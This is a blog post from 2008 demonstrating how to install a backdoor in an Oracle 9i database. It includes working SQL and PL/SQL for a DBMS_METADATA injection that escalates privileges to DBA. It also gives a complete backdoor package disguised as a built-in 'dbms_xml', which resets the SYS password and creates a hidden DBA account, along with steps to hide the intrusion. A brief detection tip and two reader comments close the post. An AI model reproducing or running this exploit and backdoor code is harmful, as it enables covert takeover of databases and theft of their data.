Tuesday, November 25, 2008

Installing a Back Door in Oracle 9i

In this post, we will demonstrate a way an attacker could install a back door in a 9i Oracle database. The information on this post is based on information obtained from Pete Finnigin's website and the 2600 magazine. The version of the database we are using in this post is:

sys@ORA9R2> select * from v$version;
BANNER
----------------------------------------------------------------
Oracle9i Enterprise Edition Release 9.2.0.4.0
PL/SQL Release 9.2.0.4.0 - Production
CORE 9.2.0.3.0 Production
TNS for Linux: Version 9.2.0.4.0 - Production
NLSRTL Version 9.2.0.4.0 - Production


Creating the User

In this example, we will create a user that we will install the back door with. We will presume that either an attacker has already gained access to this account or that a legitimate user wishes to install a back door in our database (the so called inside threat). The user we will install the back door as is testUser. We will only grant CONNECT and RESOURCE to this user.

sys@ORA9R2> create user testUser identified by testUser;

User created.

sys@ORA9R2> grant connect, resource to testUser;

Grant succeeded.

sys@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>


Gaining DBA Privileges

Now we will use a known exploit in the 9i version of Oracle that will allow this user to obtain the DBA role. This exploit is described in the document 'Many Ways to Become DBA' by Pete Finnigan. This exploit invloves creating a function and then exploiting a known vulnerability in the DBMS_METADATA package.

testuser@ORA9R2> create or replace function testuser.hack return varchar2
2 authid current_user is
3 pragma autonomous_transaction;
4 begin
5 execute immediate 'grant dba to testUser';
6 return '';
7 end;
8 /

Function created.

testuser@ORA9R2> select sys.dbms_metadata.get_ddl('''||testuser.hack()||''','')
2 from dual;
ERROR:
ORA-31600: invalid input value '||testuser.hack()||' for parameter OBJECT_TYPE in
function GET_DDL
ORA-06512: at "SYS.DBMS_SYS_ERROR", line 105
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1536
ORA-06512: at "SYS.DBMS_METADATA_INT", line 1900
ORA-06512: at "SYS.DBMS_METADATA_INT", line 3606
ORA-06512: at "SYS.DBMS_METADATA", line 504
ORA-06512: at "SYS.DBMS_METADATA", line 560
ORA-06512: at "SYS.DBMS_METADATA", line 1221
ORA-06512: at line 1

no rows selected

testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER DBA NO YES NO
TESTUSER RESOURCE NO YES NO

testuser@ORA9R2>


As you can see from the output above, the attacker has now gained the DBA role. Now, the attacker can start working on installing the back door.

Creating and Installing the Back Door

Now, he/she can save what the encrypted form of the SYS user's password is before installing the back door.

testuser@ORA9R2> select username, password
2 from dba_users
3 where username = ‘SYS’ ;

USERNAME PASSWORD
-------- ------------------------------
SYS 43CA255A7916ECFE

testuser@ORA9R2>


Now, the attacker wants to install the back door as the SYS user so he/she alters the password of the SYS user so they can connect as the SYS user. The attacker will then change this password back to the saved password once finished installing the back door.

testuser@ORA9R2> alter user sys identified by pass;
User altered.
testuser@ORA9R2> connect sys/pass as sysdba
Connected.
testuser@ORA9R2>


Now the attacker is connected as the SYS user and starts on creating the back door. The attacker creates the back door like so:

testuser@ORA9R2> CREATE OR REPLACE PACKAGE dbms_xml AS
2 PROCEDURE parse (string IN VARCHAR2);
3 END dbms_xml;
4 /
Package created.
testuser@ORA9R2>
CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
var1 VARCHAR2 (100);
BEGIN
IF string = 'unlock' THEN
SELECT PASSWORD INTO var1 FROM dba_users WHERE username = 'SYS';
EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
COMMIT;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY padraig';
END IF;
IF string = 'lock' THEN
EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
EXECUTE IMMEDIATE 'DROP TABLE syspa1';
END IF;
IF string = 'make' THEN
EXECUTE IMMEDIATE 'CREATE USER hill IDENTIFIED BY padraig';
EXECUTE IMMEDIATE 'GRANT DBA TO hill';
END IF;
IF string = 'unmake' THEN
EXECUTE IMMEDIATE 'DROP USER hill CASCADE';
END IF;
END;
END dbms_xml;
/

testuser@ORA9R2> CREATE PUBLIC SYNONYM dbms_xml FOR dbms_xml;

Synonym created.

testuser@ORA9R2> GRANT EXECUTE ON dbms_xml TO PUBLIC;

Grant succeeded.

testuser@ORA9R2>


This package does the following (examples will be shown below):

  • It can unlock the SYS account by changing the password to a known password (in this case 'padraig').
  • Then, it can revert the SYS account's password back to the original password.
  • It can create a new user account with a known password that has the DBA role which can later be dropped from the database.
The attacker has now created a back door that can be very difficult to discover. The attacker has chosen a name for the package that looks like it was installed with the Oracle database. Now, the attacker changes the SYS user’s password back to its original value to prevent the DBA from noticing that the SYS account has been hijacked. The attacker will also revoke the DBA role from his/her user account to prevent detection. This role is no longer need by the attacker since he/her has installed the back door.

testuser@ORA9R2> alter user sys identified by values '43CA255A7916ECFE';

User altered.

testuser@ORA9R2> revoke dba from testUser;

Revoke succeeded.

testuser@ORA9R2> disconnect
Disconnected from Oracle9i Enterprise Edition Release 9.2.0.4.0 - Production
With the Partitioning, OLAP and Oracle Data Mining options
JServer Release 9.2.0.4.0 - Production
testuser@ORA9R2> connect testUser/testUser
Connected.
testuser@ORA9R2> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_
-------- ------------ --- --- ---
TESTUSER CONNECT NO YES NO
TESTUSER RESOURCE NO YES NO

In this first example, the attacker is going to use his/her back door to unlock the SYS account and connect as the SYS user.

testuser@ORA9R2> execute dbms_xml.parse('unlock');

PL/SQL procedure successfully completed.

testuser@ORA9R2> connect sys/padraig as sysdba
Connected.
testuser@ORA9R2> show user
USER is "SYS"
testuser@ORA9R2>


Now, the attacker is finished doing his/her work as the SYS user and will change the SYS password back to the original password by calling the back door again:

testuser@ORA9R2> execute dbms_xml.parse('lock');

PL/SQL procedure successfully completed.

testuser@ORA9R2>


Conclusion

This post showed how an attacker could exploit a known vulnerability in Oracle 9i to obtain DBA privileges and install a back door in an Oracle database. Of course, a wary DBA could detect this by auditing the ALTER USER statement and checking SYS owned objects periodically.

2 comments:

Erik Ykema said...

Hi Padraig,
Thanks for your sharing of knowledge, however I don't like this backdoor to be fully written out - since no effort is needed any longer since you put the pieces together, applying this backdoor now is almost too easy.
I would also appreciate a link to a reference where blocking this backdoor is described.
Regards, Erik

SydOracle said...

"Of course, a wary DBA could detect this by auditing the ALTER USER statement and checking SYS owned objects periodically. "

Applying the latest patchset and CPUs would help too :)
Quite simply, no-one should be using 9.2.0.4.